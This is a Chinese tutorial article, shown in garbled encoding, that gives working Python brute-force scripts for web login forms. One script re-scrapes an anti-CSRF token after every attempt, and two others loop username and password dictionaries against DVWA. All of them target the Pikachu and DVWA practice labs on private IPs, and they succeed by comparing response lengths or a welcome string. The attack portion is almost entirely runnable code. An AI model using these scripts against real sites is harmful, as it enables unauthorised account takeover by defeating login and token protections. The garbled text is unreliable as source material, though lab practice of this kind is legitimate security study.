Python實(shí)現(xiàn)破解網(wǎng)站登錄密碼(帶token驗(yàn)證)
前言
上一篇暴力破解文章:一個(gè)簡(jiǎn)單的Python暴力破解網(wǎng)站登錄密碼腳本
測(cè)試靶機(jī)為Pikachu漏洞練習(xí)平臺(tái)暴力破解模塊下的 “token防爆破?”
春節(jié)期間歇了一陣子,吃睡玩看小說。寫這個(gè)腳本的起因是因?yàn)閎urp設(shè)置帶token的暴力破解我只會(huì)用pitchfork草叉模式,要是用cluster bomb集束炸彈模式笛卡兒積那樣就不會(huì)了,所以就干脆把之前寫的腳本加了點(diǎn)東西實(shí)現(xiàn)這個(gè)功能了,到時(shí)候有空再學(xué)學(xué)多線程,爆破速度就更快了。
關(guān)鍵代碼解釋
設(shè)置請(qǐng)求頭
5~11行:指定url地址和請(qǐng)求頭,user_token設(shè)置首次發(fā)送請(qǐng)求包時(shí)的token值。
url = "http://192.168.171.30/pikachu/vul/burteforce/bf_token.php" user_token = '8680761fe979039a6f836599906' header = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0', 'Cookie': 'PHPSESSID=17u0i2fakm84eq9oc24boc8715' }
get_token函數(shù)獲取token值
13~16行:這個(gè)函數(shù)返回從響應(yīng)包中獲取的token
在http響應(yīng)包中有一個(gè)隱藏的標(biāo)簽里面有token值:
<input type="hidden" name="token" value="5874161fe8db950ca7993759020" />
第15行:soup.select查找標(biāo)簽名為input,name為token的元素的value的值。
def get_token(r): soup = BeautifulSoup(r.text, 'html.parser') user_token = soup.select('input[name="token"]')[0]['value'] return user_token
完整代碼
from bs4 import BeautifulSoup import requests from requests.models import Response url = "http://192.168.171.30/pikachu/vul/burteforce/bf_token.php" user_token = '8680761fe979039a6f836599906' #proxies = {"http": "http://127.0.0.1:8080"} ?# 代理設(shè)置,方便burp抓包查看和調(diào)試 header = { ? ? 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0', ? ? 'Cookie': 'PHPSESSID=17u0i2fakm84eq9oc24boc8715' } def get_token(r): ? ? soup = BeautifulSoup(r.text, 'html.parser') ? ? user_token = soup.select('input[name="token"]')[0]['value'] ? ? return user_token if __name__ == "__main__": ? ? f = open('result.csv', 'w') ? ? #把爆破結(jié)果儲(chǔ)存到文件里,這里為csv格式 ? ? f.write('用戶名' + ',' + '密碼' + ',' + '包長(zhǎng)度' + '\n') ? ?#給文件設(shè)置標(biāo)題 ? ? #遍歷字典文件,Cluster bomb 暴力破解 ? ? for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號(hào).txt"): ? ? ? ? for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"): ? ? ? ? ? ? username = admin.strip() ? ? ? ? ? ? password = line.strip() ? ? ? ? ? ? payload = { ? ? #payload為POST的數(shù)據(jù) ? ? ? ? ? ? ? ? 'username': username, ? ? ? ? ? ? ? ? 'password': password, ? ? ? ? ? ? ? ? 'token': user_token, ? ? ? ? ? ? ? ? 'submit': 'Login' ? ? ? ? ? ? } ? ? ? ? ? ? Response = requests.post(url, data=payload, headers=header) ? ? ? ? ? ? result = username + ',' + password + ',' + str(len(Response.text)) ?#用戶名密碼以及響應(yīng)包長(zhǎng)度 ? ? ? ? ? ? print(result) ? ? ? ? ? #輸出到終端 ? ? ? ? ? ? f.write(result + '\n') ?#輸出到文件 ? ? ? ? ? ? user_token = get_token(Response) ? ?#調(diào)用get_token函數(shù)獲取下一次循環(huán)需要的token ? ? print('\n---完成---\n') ? ? f.close()
運(yùn)行結(jié)果
查看保存的文件,查看包長(zhǎng)度與其他不一樣的數(shù)據(jù)
這里csv不會(huì)顯示前綴會(huì)自動(dòng)去掉首位0,可以把文件改成txt格式就正常顯示了
嘗試登陸一下,登錄成功。
補(bǔ)充
下面小編為大家補(bǔ)充了另外兩個(gè)利用Python實(shí)現(xiàn)破解網(wǎng)站登錄密碼的示例代碼,希望對(duì)大家有所幫助
方法一:
import requests url = "http://192.168.171.2/dvwa/vulnerabilities/brute/" #proxies= {"http":"http://127.0.0.1:8080"} #代理設(shè)置,方便burp抓包查看 header = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0', 'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u' } f = open('result.csv','w') f.write('狀態(tài)碼' + ',' + '用戶名' + ',' + '密碼' + ',' + '包長(zhǎng)度' + '\n') for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號(hào).txt"): for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"): username = admin.strip() password = line.strip() payload = {'username':username,'password':password,"Login":'Login'} Response = requests.get(url,params=payload,headers=header) result = str(Response.status_code) + ',' + username + ','\ + password + ',' + str(len(Response.content)) f.write(result + '\n') print('\n完成')
方法二:
import requests url = "http://192.168.171.2/dvwa/vulnerabilities/brute/" #proxies= {"http":"http://127.0.0.1:8080"} #代理設(shè)置,方便burp抓包查看 header = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0', 'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u' } f = open('result.txt','w') for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號(hào).txt"): for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"): username = admin.strip() password = line.strip() payload = {'username':username,'password':password,"Login":'Login'} Response = requests.get(url,params=payload,headers=header) if not(Response.text.find('Welcome to the password protected area')==-1): result = username + ':' + password print(result) f.write(result + '\n') print('\n完成')
以上就是Python實(shí)現(xiàn)破解網(wǎng)站登錄密碼(帶token驗(yàn)證)的詳細(xì)內(nèi)容,更多關(guān)于Python破解網(wǎng)站登錄密碼的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
python根據(jù)文章標(biāo)題內(nèi)容自動(dòng)生成摘要的實(shí)例
今天小編就為大家分享一篇python根據(jù)文章標(biāo)題內(nèi)容自動(dòng)生成摘要的實(shí)例,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧2019-02-02Pycharm中如何關(guān)掉python console
這篇文章主要介紹了Pycharm中如何關(guān)掉python console,本文給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2020-10-10使用Python編程分析火爆全網(wǎng)的魷魚游戲豆瓣影評(píng)
本文來為大家介紹如何使用Python爬取影評(píng)的操作,主要是爬取《魷魚游戲》在豆瓣上的一些影評(píng),對(duì)數(shù)據(jù)做一些簡(jiǎn)單的分析,用數(shù)據(jù)的角度重新審視下這部劇,有需要的朋友可以借鑒參考下2021-10-10使用python 和 lint 刪除項(xiàng)目無用資源的方法
這篇文章主要介紹了利用 python 和 lint 刪除項(xiàng)目無用資源的方法,使用方法是將 python 目錄下的 delUnused.py 放到項(xiàng)目目錄下,然后直接運(yùn)行即可,需要的朋友可以參考下2017-12-12